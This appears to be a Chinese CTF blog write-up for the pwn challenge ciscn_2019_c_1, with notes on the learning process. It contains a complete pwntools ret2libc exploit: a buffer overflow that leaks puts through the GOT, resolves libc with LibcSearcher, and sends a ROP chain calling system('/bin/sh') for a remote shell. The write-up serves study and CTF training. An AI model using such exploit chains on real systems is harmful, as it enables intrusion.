ciscn_2019_c_1

经典ret2libc,着实恶心到我了。前后捣鼓了将近3、4个小时,勉强把原理理解透彻。
边做题边C语言:艹!
checksec.png
main.png
encrypt.png
输入字符串s加密逻辑:
1、如果是小写字母跟0xD异或
2、如果是大写字母跟0xE异或
3、如果是数字跟0xF异或
[ASCII码对照表]:(http://c.biancheng.net/c/ascii/)
ROPgadget.png
泄露libc.png
LibcSearcher工具:https://github.com/dev2ero/LibcSearcher

from pwn import *
from LibcSearcher import *

context(os = 'linux', arch = 'amd64', log_level = 'debug')

# io = process('ciscn_2019_c_1')
io = remote('redirect.do-not-trust.hacking.run', 10312)
elf = ELF('./ciscn_2019_c_1')
// 本地换了多个版本libc打
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
pop_rdi_ret = 0x0000000000400c83
# ROPgadget --binary ciscn_2019_c_1 --only 'ret'
ret_addr = 0x00000000004006b9

io.sendlineafter('Input your choice!\n', '1')
// '\0'用来strlen函数绕过,防止输入加密字符串s被加密,第一个payload用来获得libc
# payload = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = b'a' * 0x58 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter('Input your Plaintext to be encrypted\n', payload)
# io.recvuntil('Ciphertext\n')
io.recvline()
io.recvline()
// 接收puts函数打印回显值,截取低三位,分页机制导致libc后三位恒不变,加以区分。
# puts_addr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
# puts_addr = u64(io.recvuntil('\n',drop=True).ljust(8,b'\x00'))
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

// 工具获取libc版本号并计算偏移值,然后计算后门函数内存地址。
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
// 本地libc计算相应内存地址。
# libc_base = puts_addr - libc.symbols['puts']
# system_addr = libc_base + libc.symbols['system']
# binsh_addr = libc_base + libc.search('/bin/sh').next()

io.sendlineafter('Input your choice!\n', b'1')
// 第二个payload用来获取shell,高版本libc加上ret来平衡堆栈。
payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'\0' + b'a' * (0x50 + 0x08 - 0x01) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
# payload7 = b'a' * 0x58 + p64(ret_addr) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sleep(1)
io.sendlineafter('encrypted\n', payload7)

# io.shutdown('send')
io.interactive()

[栈平衡和栈转移(Stack-Pivot) | 偏有宸机 (gitee.io)]:(https://oneda1sy.gitee.io/2020/02/24/stack-balance/)
本地和远程.png

思考:
1、32位和64位泄露libc的payload和shell的payload如何构造;
2、libc低三位决定版本号的原因:分页机制;
3、完整逆向程序,看懂代码逻辑;
4、栈平衡原理;
5、plt和got表,延迟绑定机制;
6、bug、bug、bug,炸裂再修补;
7、忍不住爆句粗口,👴要去做堆题了。

北岛静石师傅:
不同libc版本代码会有修改, 导致它基地址会发生改变
然后由于页对齐机制
4kb为一页
4kb=4*1024=2^12=0x1000
所有页都是这样对齐的, 所以在分配给动态链接库的时候
不会影响到低三字节
由此可以确定版本信息了
那种分配给动态链接库的内存, 也是n个页
n*0x1000怎么样都不会影响低三字节的
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半步行止

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值